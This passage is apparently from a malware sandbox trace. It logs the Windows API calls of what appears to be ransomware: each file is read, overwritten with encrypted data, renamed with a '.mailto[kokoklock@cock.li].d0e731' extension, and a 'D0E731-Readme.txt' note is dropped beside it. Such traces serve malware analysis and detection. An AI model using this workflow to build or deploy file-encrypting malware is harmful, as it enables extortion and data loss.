lpNewFilePointer=0x0) returned 1 [0078.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34931a8 [0078.491] NtQuerySystemTime (in: CurrentTime=0x205bfc6c | out: CurrentTime=0x205bfc6c*=132121176363784366) returned 0x0 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xc0e1817f [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x690e0bb8 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x129f06f8 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x14bfa22e [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x937954be [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x6580d75 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xbe6891c [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x8146be7d [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x7d559103 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xd5c22ed8 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x49a43108 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xa14eca16 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xa49ec8bc [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x4061d394 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xfa6e7c20 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xb8ad2d74 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xe614dbd1 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xbee31f23 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x7df55377 [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x40e24e7a [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x8a6d68eb [0078.491] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x962fe903 [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xfbdfaa2e [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xeb64ff18 [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x8a0a0cee [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xdf55232b [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xed0b1258 [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0xfb7c95e4 [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x4d64680c [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x4fcb5dae [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x7317539c [0078.492] RtlRandom (in: Seed=0x205bfc78 | out: Seed=0x205bfc78) returned 0x5e2bfefb [0078.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.503] ReadFile (in: hFile=0x8b4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x732, lpNumberOfBytesRead=0x205bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x205bfc6c*=0x732, lpOverlapped=0x0) returned 1 [0078.503] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x205bfc34 | out: lpNewFilePointer=0x0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x732, lpNumberOfBytesWritten=0x205bfc68, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x205bfc68*=0x732, lpOverlapped=0x0) returned 1 [0078.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x205bfc64, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x205bfc64*=0x20, lpOverlapped=0x0) returned 1 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x205bfc90*=0x8, lpOverlapped=0x0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x205bfca8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x205bfca8*, lpNumberOfBytesWritten=0x205bfc90*=0x4, lpOverlapped=0x0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x205bfc90*=0x4, lpOverlapped=0x0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x205bfc90*=0x6c, lpOverlapped=0x0) returned 1 [0078.504] WriteFile (in: hFile=0x8b4, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x205bfc90*=0x20, lpOverlapped=0x0) returned 1 [0078.505] WriteFile (in: hFile=0x8b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x205bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x205bfc90*=0x4, lpOverlapped=0x0) returned 1 [0078.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34931d0) returned 1 [0078.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.505] CloseHandle (hObject=0x8b4) returned 1 [0078.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.505] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" [0078.505] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.505] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.506] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0078.506] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt" [0078.506] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\d0e731-readme.txt")) returned 0xffffffff [0078.506] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b4 [0078.510] WriteFile (in: hFile=0x8b4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x205bfc8c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x205bfc8c*=0x481, lpOverlapped=0x0) returned 1 [0078.511] CloseHandle (hObject=0x8b4) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435048) returned 1 [0078.511] RtlExitUserThread (Status=0x1) Thread: id = 882 os_tid = 0x14cc [0078.512] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml")) returned 0x20 [0078.512] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8b4 [0078.513] GetFileSizeEx (in: hFile=0x8b4, lpFileSize=0x2063fbe0 | out: lpFileSize=0x2063fbe0*=271) returned 1 [0078.513] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.513] ReadFile (in: hFile=0x8b4, lpBuffer=0x2063fbb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x2063fbb4*, lpNumberOfBytesRead=0x2063fbb0*=0x4, lpOverlapped=0x0) returned 1 [0078.514] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34931d0 [0078.514] NtQuerySystemTime (in: CurrentTime=0x2063fb8c | out: CurrentTime=0x2063fb8c*=132121176364096239) returned 0x0 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xb42c0f3e [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xeaeddd94 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x6b4a9366 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x350f3133 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x6c9d0f20 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x69b0c9be [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x6d546289 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x3eb2af06 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x856424d2 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x703b76c8 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x4cdb4976 [0078.514] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x21b20928 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xb7010f51 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x9951c86 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x4f086989 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x9fbba8e4 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x5202041c [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x46666880 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x53d3f45c [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x3554ebdd [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xdab9ee70 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x96095239 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xdaad0e2e [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x50c1b873 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x9598f43e [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0xce395f2b [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x91993dd3 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x75326c67 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x5b119fa3 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x4dbdc0d2 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x71a12144 [0078.515] RtlRandom (in: Seed=0x2063fb98 | out: Seed=0x2063fb98) returned 0x7e18aa63 [0078.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.526] ReadFile (in: hFile=0x8b4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2063fb8c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2063fb8c*=0x10f, lpOverlapped=0x0) returned 1 [0078.526] SetFilePointerEx (in: hFile=0x8b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2063fb54 | out: lpNewFilePointer=0x0) returned 1 [0078.526] WriteFile (in: hFile=0x8b4, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2063fb88, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2063fb88*=0x10f, lpOverlapped=0x0) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2063fb84, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x2063fb84*=0x20, lpOverlapped=0x0) returned 1 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x2063fbb0*=0x8, lpOverlapped=0x0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x2063fbc8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x2063fbc8*, lpNumberOfBytesWritten=0x2063fbb0*=0x4, lpOverlapped=0x0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2063fbb0*=0x4, lpOverlapped=0x0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2063fbb0*=0x6c, lpOverlapped=0x0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2063fbb0*=0x20, lpOverlapped=0x0) returned 1 [0078.527] WriteFile (in: hFile=0x8b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2063fbb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2063fbb0*=0x4, lpOverlapped=0x0) returned 1 [0078.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34931f8) returned 1 [0078.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.528] CloseHandle (hObject=0x8b4) returned 1 [0078.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.528] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" [0078.528] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.528] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.529] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.529] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0078.529] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt" [0078.529] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\d0e731-readme.txt")) returned 0x20 [0078.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476868) returned 1 [0078.529] RtlExitUserThread (Status=0x1) Thread: id = 883 os_tid = 0x14d0 [0078.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3427e58 [0078.530] wcscpy (in: _Dest=0x3427e58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0078.530] wcscat (in: _Dest=0x3427e58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0078.530] wcscat (in: _Dest=0x3427e58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*" [0078.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f39e0 [0078.530] FindFirstFileW (in: lpFileName="C:\\Users\\All 